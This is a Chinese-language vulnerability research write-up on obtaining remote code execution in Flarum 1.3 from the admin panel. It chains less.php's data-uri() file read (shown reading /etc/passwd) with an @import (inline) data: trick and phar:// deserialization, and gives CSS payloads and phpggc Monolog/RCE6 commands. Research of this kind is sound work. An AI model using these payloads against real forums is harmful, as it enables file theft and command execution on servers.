點擊藍字/關注我們
事先聲明:本次測試過程完全處於本地或授權環境,僅供學習與參考,不存在未授權測試過程,請讀者勿使用該漏洞進行未授權測試,否則作者不承擔任何責任
一次日常測試中,偶然遇到了一個Flarum搭建的論壇,並獲得了其管理員賬號。本來到這裡已經可以算完成了任務,將漏洞報給具體負責的人就結束了,但是既然已經拿到了管理員賬號,何不嘗試一下RCE呢?
首先,我在管理員後台看到當前Flarum版本是1.3,PHP版本是7.4。Flarum以前沒有遇到過,於是問下師傅們有沒有歷史漏洞,沒準就不用費事了:

image.png
結果顯然是沒有,否則也不會有這篇文章了😂。
Flarum是一個PHP開源的論壇社區系統,以前有聽說過,主要是國外用戶較多,所以我也是出國以後才遇到。簡單搜了下網上公開的漏洞,確實很少,而且以XSS和越權為主。
我對前後台進行了一系列觀察,發現這個論壇CMS默認的功能較少,大部分擴展性由插件實現,但安裝插件卻只能通過命令行composer。瀏覽了一遍後台所有的功能,基本都是針對帖子和用戶進行管理的:

image.png
黑盒沒有進展,那麼下載源碼進行代碼審計吧。
0x01 代碼通讀與邏輯梳理
漏洞挖掘前,我閱讀了Flarum的代碼和擴展開發文檔,來進一步了解整個項目的架構與各個部分的使用方法。
接着,我在本地安裝好Flarum,完成後有三個目錄:
• public:Web根目錄,裡面只有index.php
• storage:儲存runtime文件的目錄,裡面有session、cache、logs等
• vendor:庫文件目錄,使用composer安裝
所有代碼都在vendor中。它使用了很多Laravel和Laminas框架的components,但主體的MVC架構是自己實現的,並大量使用了依賴注入和事件機制(這一點和我之前分析的Cachet有點像,但Cachet是使用的標準Laravel結構,更簡單一些),導致我熟悉目錄文件結構和數據流轉方式就花了很長時間。
現代PHP項目想要getshell,常見的方法有下面幾個:
•文件上傳漏洞
•路由錯誤導致的函數執行漏洞,比如ThinkPHP 5的兩個RCE
•模板注入漏洞,比如Cachet這個後台getshell
•反序列化漏洞
文件上傳漏洞是傳統漏洞了,但如果規範使用Web框架是不太會出現的,特別是現代的Laravel等框架;路由錯誤導致的函數執行漏洞多出現於上一代的MVC框架,這類框架會將用戶輸入解析成class name和method name再動態調用,而現在的框架路由多是定義一個完整的路由,Flarum也是這樣;模板注入漏洞在後台功能中相對較多,有時候甚至直接就是PHP代碼(Wordpress);反序列化漏洞多出現在數據庫、session、緩存之類的位置,如果能控制這些地方,可以着重找這相關的功能。
我按照這個思路逐一進行測試。
文件上傳
首先是文件上傳功能,Flarum僅有三處支持文件上傳的邏輯,分別是網站Logo、Favicon和用戶頭像……是的,作為一個論壇社區,發帖默認不支持上傳附件和圖片,需要安裝擴展來實現,而目標站點並沒有這類擴展。
看了一下三處圖片上傳的代碼,文件名無法控制,後綴寫死成.png,文件內容也會使用GD庫轉換成png格式保存,可謂是水泄不通了。比如這是上傳用戶頭像的部分代碼:
/***@paramUser$user*@paramImage$image*/publicfunctionupload(User$user,Image$image){if(extension_loaded('exif')){$image->orientate();}$encodedImage=$image->fit(100,100)->encode('png');$avatarPath=Str::random().'.png';$this->removeFileAfterSave($user);$user->changeAvatarPath($avatarPath);$this->uploadDir->put($avatarPath,$encodedImage);}
這條路堵死,甚至給我後面的漏洞利用也造成了很大困擾。
路由問題
Flarum沒有動態執行用戶傳入的類和函數,而是通過router的方式分發路由,比如:
returnfunction(RouteCollection$map,RouteHandlerFactory$route){//Getforuminformation$map->get('/','forum.show',$route->toController(Controller\ShowForumController::class));//...}
所以我判斷路由出問題的可能性較小,就沒有細看。
模板注入漏洞
我翻了後台頁面,並沒有發現存在任何有關編輯模板的功能,所以這條路也作罷。
反序列化漏洞
經過分析,Flarum中存在反序列化的有兩個地方,一是session,二是緩存,但這兩個都儲存在文件系統中,而我並不能控制文件內容。
終上所述,經過前面的分析,已經大致排除了一些常見的可能導致RCE漏洞的點。
0x02 利用CSS渲染讀取任意文件
這是我第一次被卡住,但很快我看到了後台的一個功能:自定義CSS樣式。

image.png
很多CMS都有類似的功能,但Flarum有個有趣的地方是其支持Less語法。
Less是一個完全兼容CSS的語言,並在CSS的基礎上提供了很多高級語法與功能,比如CSS中不支持的條件判斷與循環,相當於是CSS語言的超集。前端開發者使用Less編寫的程序,可以通過編譯器轉換成合法的CSS語法,提供給瀏覽器進行渲染。
那麼就有趣了,這裡支持Less語法,說明這其中存在代碼編譯的過程,這讓我有兩個思路:
•編譯過程本身是否存在漏洞,可以用於執行任意代碼或命令
•Less語言中是否有一些高危的函數,可以執行代碼或命令
Flarum使用了less.php這個第三方庫來編譯Less,在其README頁面可以看到下面這段警告:
⚠️ Security
The LESS processor language is powerful and including features that can read or embed arbitrary files that the web server has access to, and features that may be computationally exensive if misused.
In general you should treat LESS files as being in the same trust domain as other server-side executables, such as Node.js or PHP code. In particular, it is not recommended to allow people that use your web service to provide arbitrary LESS code for server-side processing.
看起來less.php自己也知道在渲染的過程中可能存在一些安全隱患。
我很快在Less語言的文檔中找到了這樣一個函數:data-uri

image.png
在Less中,data-uri函數用於讀取文件並轉換成data協議輸出在css中。看下less.php中相關的實現:
publicfunctiondatauri($mimetypeNode,$filePathNode=null){$filePath=($filePathNode?$filePathNode->value:null);//...if(file_exists($filePath)){$buf=@file_get_contents($filePath);}else{$buf=false;}//...}
一個可以控制完整路徑的文件讀取漏洞。
嘗試在後台修改CSS,讀取/etc/passwd:
.test{content:data-uri('/etc/passwd');}image.png
然後,在頁面源碼中找到CSS的地址,搜索.test這個樣式:

image.png
對其中的base64進行解碼,可見讀取/etc/passwd成功:

image.png
OK,我現在有了一個任意文件讀取漏洞。
0x03 phar://反序列化嘗試
通過對剛才代碼的分析就可以發現,file_exists和file_get_contents的完整路徑可以被控制,也就是說這裡可以使用任意協議。幸運的是,目標系統是PHP 7.4,支持使用phar://來構造反序列化,相比起來,PHP 8.0以上就不再支持phar反序列化了。
關於phar://反序列化,可以參考Blackhat 2018的這個議題《It’s a PHP unserialization vulnerability Jim, but not as we know it》。
phar是PHP中類似於Jar的包格式,而其中保存的metadata信息在讀取的時候會被自動反序列化。這樣,如果攻擊者可以控制文件操作的完整路徑,並能夠在服務器上上傳一個文件,將可以利用phar://協議指向這個文件進而執行反序列化操作。
所以接下來還需要找一個服務器上可控內容的文件(不需要控制文件名或後綴)。這個問題有點像我這篇文章里介紹的「裸文件包含」,但又不完全一樣,phar反序列化對文件內容的要求相比起來會更加苛刻。
對於文件包含漏洞來講,攻擊者只需要控制任意一個文件中的一部分即可,對於文件格式、是否有髒字符等沒有要求;而phar反序列化場景下,需要這個文件內容滿足一定的格式才能成功被加載,進行反序列化。
phar文件可以是下面三種格式:
•zip
•tar
•phar
這三者都是archive格式,可以使用phpgcc這款工具來生成一個phar文件,並將反序列化利用鏈插入其中:
phpphpggc-oevil.pharMonolog/RCE6systemid
因為Flarum使用了monolog,我選擇了Monolog/RCE6這條利用鏈,本地測試可以正常觸發反序列化執行命令:

image.png
那麼現在就需要想辦法將這個phar文件上傳到服務器上。
Flarum前面分析過,存在三處圖片上傳的功能,而phar是可以偽造成圖片文件格式的,phpggc也貼心地提供了這個功能,-pj參數:
phpphpggc-pjexample.jpg-oevil.jpgMonolog/RCE6systemwhoami
使用該參數即可將phar文件和example.jpg圖片製作成一個「圖片馬」,在上傳時可以被識別成圖片,但使用PHP解析時又可以識別成phar文件。
於是我嘗試將payload使用上面的三個接口上傳,但試了很多次才想起了之前那段代碼:
$encodedImage=$image->fit(100,100)->encode('png');
寄了,這三個接口都使用GD庫調整了圖片大小,圖片一處理就會把其中附帶的phar內容給去掉。雖然之前有過通過GD庫處理保留Webshell的圖片馬構造方法,但那個方法僅限於保留Webshell這樣的代碼片段,對於phar這種文件格式卻無能為力。
還需要找到其他方法可以上傳惡意phar文件。
0x04 惡意phar文件的構造與寫入
這是第二次卡了我很久的點,一直感覺離RCE只差一層窗戶紙,但很多時候就是被一層窗戶紙給徹底堵死了所有路。
是否可以利用Session或PHP、Nginx的臨時文件呢?這些方法要不就是對環境有要求,要不就是需要條件競爭,都不算理想的利用方式,我將其嘗試的優先級降到很低,只有在徹底無望的情況下才會去考慮。
去冰箱裡拿出vida氣泡水喝一口,思考一下我這一步的目標是什麼:我需要控制一個服務器上的文件,寫入我需要的Payload,而且知道文件名,但對文件名和後綴沒有要求。
這時候我想到,前面進行代碼審計的時候我閱讀了Less生成CSS的過程,發現管理員在後台輸入自定義CSS代碼的時候將會把渲染完成後的CSS文件寫入Web目錄的assets/forum.css文件中:

image.png
通過這個方法能夠控制一個文件中的部分內容了,但好像還差點意思,因為實際思考下來,我遇到了兩個難點:
•用戶自定義CSS會被插入到其他內置Less腳本中間,導致編譯出的代碼前後還會有不可控的其他字符(如上圖)
•用戶輸入的內容會先校驗是否滿足Less或CSS的格式,完成後才會被編譯成forum.css,且編譯過程可能導致字符變化破壞phar文件格式結構
第一點,經過分析發現,Flarum生成的CSS是分成三部分,分別是內置CSS、用戶自定義CSS、擴展插件中帶的CSS:

image.png
也就是說,雖然內置CSS我是完全無法控制的,但我可以通過將所有擴展都禁用來去除第三部分CSS。
禁用所有擴展以後,用戶輸入的CSS就輸出在文件末尾了:

image.png
我研究用戶自定義內容的輸出位置,目的是了解是否可控文件頭和文件尾。PHP在解析phar的時候支持三種文件格式,分別是zip、tar和phar。
對於zip格式,我曾在知識星球里介紹過,它的文件頭尾都可以有髒字符,通過對偏移量的修復就可以重新獲得一個合法的zip文件。但是否遵守這個規則,仍然取決於zip解析器,經過測試,phar解析器如果發現文件頭不是zip格式,即使後面偏移量修復完成,也將觸發錯誤:
internal corruption of phar (truncated manifest header)
當然,這也可能是我修復偏移方式有錯誤,可以後面再深入研究,暫時認為zip格式無法滿足要求。
對於tar格式,如果能控制文件頭,即可構造合法的tar文件,即使文件尾有垃圾字符。
對於phar格式,必須控制文件尾,但不需要控制文件頭。PHP在解析時會在文件內查找<?php __HALT_COMPILER(); ?>這個標籤,這個標籤前面的內容可以為任意值,但後面的內容必須是phar格式,並以該文件的sha1簽名與字符串GBMB結尾。
可見,因為這裡可以控制文件尾,我首先想到使用phar來構造一個惡意文件。但我很快發現了問題:用戶輸入的內容會先校驗是否滿足Less或CSS的格式。如果傳入一個phar格式的文件,將會直接導致保存出錯,無法正常寫入文件。
0x05 @import的妙用
這個問題我想了很久也沒有解決,就在即將放棄之時,我在閱讀less.php代碼的時候發現另一個有趣的方法,@import。
在CSS或Less中,@import用於導入外部CSS,類似於PHP中的include:

image.png
在Less.php底層,@import時有如下判斷邏輯:
•如果發現包含的文件是less,則對其進行編譯解析,並將結果輸出在當前文件中
•如果發現包含的文件是css,則不對其進行處理,直接將@import這個語句輸出在頁面最前面
這就比較有趣了,第二種情況居然可以「控制」到文件頭,雖然可控的內容只是一個@import語句。
於是我繼續深入閱讀這一部分代碼,在解析@import語句的代碼中,我看到了這樣一段if語句:
if($this->options['inline']){//todoneedstoreferencecssfilenotimport//$contents=newLess_Tree_Anonymous($this->root,0,array('filename'=>$this->importedFilename),true);Less_Parser::AddParsedFile($full_path);$contents=newLess_Tree_Anonymous(file_get_contents($full_path),0,array(),true);if($this->features){returnnewLess_Tree_Media(array($contents),$this->features->value);}returnarray($contents);}
當$this->options['inline']為true時進入if語句,並使用file_get_contents讀取此時的URL,直接作為結果返回。而眾所周知的是,file_get_contents支持data:協議,所以我可以通過data:協議來控制讀取的文件內容。
讓$this->options['inline']為true的條件也很簡單,文檔中有相關說明:

image.png
在@import語句後面指定inline選項即可。於是,我使用下面這段CSS進行測試:
.test{width:1337px;}@import(inline)'data:,testtest';image.png
哈,成功地將testtest這串字符串輸出在了CSS文件的最開頭。
那麼,整個利用鏈就可以串起來了:通過@import (inline)和data:協議的方式可以向assets/forum.css文件的開頭寫入任意字符,再通過data-uri('phar://...')的方式包含這個文件,觸發反序列化漏洞,最後執行任意命令。
0x06 漏洞利用成功
因為可控文件頭,我選擇直接使用phpggc來生成tar格式包:
phpphpggc-ptar-bMonolog/RCE6system"id>success.txt"image.png
然後構造成@import的Payload,在後台修改:

image.png
此時訪問forum.css即可發現文件頭已經被控制:

image.png
再修改自定義CSS,使用phar協議包含這個文件(可以使用相對路徑):

image.png
成功觸發反序列化,執行命令id寫入web目錄,完成RCE:

image.png0x07 總結
這次漏洞挖掘開始於一次對Flarum後台的測試,通過閱讀Flarum與less.php的代碼,找到less.php的兩個有趣的函數data-uri和@import,最後通過Phar反序列化執行任意命令。
整個測試過程克服了不少困難,也有一些運氣,運氣好的點在於,目標PHP版本是7.4,而這是最後一個支持使用phar進行序列化的PHP版本(PHP已安全😂)。由於需要管理員權限,所以漏洞並無通用影響,但僅從有趣程度來看,是今年我挖過的最有趣的漏洞之一吧。
最後,打完收工,通知群友,有始有終:

image.png
一看時間已4點,天都快亮了……

image.png
推薦閱讀:
實戰 | 記一次1000美金的TikTok盲打XSS的漏洞挖掘
實戰 | 記一次挖掘到微軟的存儲型XSS漏洞的經歷
實戰 | 記一次PHP混淆後門的分析利用
乾貨 | Certutil在滲透中的利用和詳解
實戰 | 記一次Everything服務引發的藍隊溯源
文章來源:跳跳糖社區
作者:phith0n